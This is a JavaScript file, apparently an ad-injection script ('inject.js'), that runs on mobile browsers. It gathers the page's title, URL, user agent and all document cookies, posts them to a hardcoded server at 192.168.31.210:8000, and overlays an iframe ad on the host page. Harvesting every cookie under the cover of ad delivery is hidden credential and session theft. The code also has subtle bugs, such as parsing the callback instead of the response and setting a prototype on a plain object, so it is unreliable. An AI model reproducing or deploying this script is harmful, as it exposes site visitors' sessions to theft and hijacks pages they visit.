window.SpecInject = {};
(function(){
    //Change File Name
    var protocol = ('https:'==window.location.protocol)?'https://':'http://';
    var requestURL = protocol+'192.168.31.210:8000/post';
    var __FILENAME__ = 'inject.js'

    var __FILE__, scripts = document.getElementsByTagName("script");
    for(var i=0;i<scripts.length;i++){
        var src =scripts.item(i).getAttribute("src");
        if(src&&src.match(__FILENAME__)){
            __FILE__=src;break;
        }
    }
    if(!__FILE__) return;
    var attribute = __FILE__.split('?')[1];
    if(!attribute) return;
    attribute = attribute.split('&');
    var tmpObj = {};
    for(var i in attribute){attribute[i]=attribute[i].split('=');tmpObj[attribute[i][0]]=attribute[i][1]};
    //Params
    var ADID = tmpObj['mediakey'],
        ADTYPE = tmpObj['type'],
        ADPos = Number(tmpObj['position']),ADRatio=6.4,ADURL;
    if(!ADID || !ADTYPE) return;
    var browser={
        versions:function(){
            var u = navigator.userAgent, app = navigator.appVersion;
            return {
                mobile: !!u.match(/AppleWebKit.*Mobile.*/),
                ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/),
                android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1,
                iPhone: u.indexOf('iPhone') > -1,
                iPad: u.indexOf('iPad') > -1,
                webApp: u.indexOf('Safari') == -1,
                weixin: u.indexOf('MicroMessenger') > -1,
                version:u.match(/Version\/(\d+\.+\d+)/)[1]
            };
        }(),
        language:(navigator.browserLanguage || navigator.language).toLowerCase()
    }
    if(!browser.versions.mobile) return;
    var keywords = document.querySelector('meta[name=Keywords]')?document.querySelector('meta[name=Keywords]'):document.querySelector('meta[name=keywords]');

    var xmlhttp;
        xmlhttp = new XMLHttpRequest();

    var getJSADParam = {
        mediatitle:document.querySelector('title').innerHTML,
        mediakeyword:keywords?keywords.getAttribute('content'):'',
        mediaurl:window.location.href,
        mediakey:ADID,
        tertype:browser.versions.ios?1:browser.versions.android?0:2,
        useragent:navigator.userAgent,
        browserversion:browser.versions.version,
        browserlanguage:browser.language,
        cookies:JSON.stringify(getCookies())
    }
    function parseData(obj){
        var formData = new FormData();
        for(var attr in obj){
            formData.append(attr,obj[attr]);
        }
        return formData;
    }
    function getADHandler(data){
        if(data.status!=1) return;
        data = data.data;
        if(!data.adurl) return;
        ADURL = data.adurl;
        ADRatio = data.ratio;
        var opt = getTypeOption();
        var style = document.createElement('style');
            style.innerText = '#__ADInject__{position:fixed;z-index:9999;box-sizing:border-box}#__ADInject__.bottom{bottom:5px}#__ADInject__ iframe{position:relative;left:0;right:0;bottom:0;top:0;overflow:hidden;border:none;padding:0;margin:0;z-index:10}#__ADInject__ .__ADInjectClose__{position:absolute;right:0;top:0;display:block;color:#fff;font-size:12px;width:20px;height:20px;line-height:20px;text-align:center;background:rgba(0,0,0,.2);z-index:999}';
        var script = document.createElement('script');
            script.innerText = 'function __ADInjectFeedback__(){SpecInject.feedback()};function __ADInjectClose__(){document.getElementById("__ADInject__").remove()}';
        var doms =  document.createElement('div');
            doms.id = '__ADInject__';
            doms.setStyle = opt.style;
            doms.className = opt.class;
            doms.innerHTML = '<span class="__ADInjectClose__" onclick="javascript:__ADInjectClose__()">X</span><iframe id="__ADInjectFrame__" src="'+ADURL+'" />';
        document.body.appendChild(style);
        document.body.appendChild(script);
        document.body.appendChild(doms);
    }

    function getTypeOption(){
        var opt = {style:''};
        switch(ADTYPE){
            case 'banner':
                opt.class = ADPos=='1'?'top':'bottom';
                opt.width = document.body.clientWidth;
                break;
            case 'spot_rect':
            case 'spot_rounded_rect':
                opt.class = 'spot'+ADTYPE=='spot_rounded_rect'?' radius':'';
                opt.width = document.body.clientWidth-40;
        }
        opt.height = opt.width/ADRatio;
        opt.style = 'width:'+opt.width+';height:'+opt.height;
        return opt;
    }
    //Ajax Post
    function post(URL,data,callback){
        xmlhttp.open("POST",URL);
        xmlhttp.onreadystatechange = function() {
            if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
                var reponse = null;
                if(xmlhttp.responseText){
                    try{
                        response = JSON.parse(callback);
                    }catch(e){log(e)}
                }
                callback(response);
            }
        }
        xmlhttp.send(data);
    }
    //COOKIES get & set
    function getCookie(c_name){
        if (document.cookie.length>0){
            c_start=document.cookie.indexOf(c_name + "=");
            if (c_start!=-1){
            c_start=c_start + c_name.length+1;
            c_end=document.cookie.indexOf(";",c_start);
            if (c_end==-1) c_end=document.cookie.length;
                return unescape(document.cookie.substring(c_start,c_end));
            }
        }
        return null;
    }
    function getCookies(){
        var obj = {};
        if (document.cookie.length>0){
            var cookie = document.cookie.split('; ');
            for(var i in cookie){
                var par = cookie[i].split('=');
                obj[par[0]] = par[1];
            }
        }
        return obj;
    }
    function setCookie(c_name,c_value,c_exp){
        var exp = c_exp?';expires='+c_exp:'';
        document.cookie = c_name+'='+c_value+exp+';path=/';
    }

    post(requestURL,parseData(getJSADParam),getADHandler);
    window.SpecInject.prototype.feedback = function(action){

    }
})();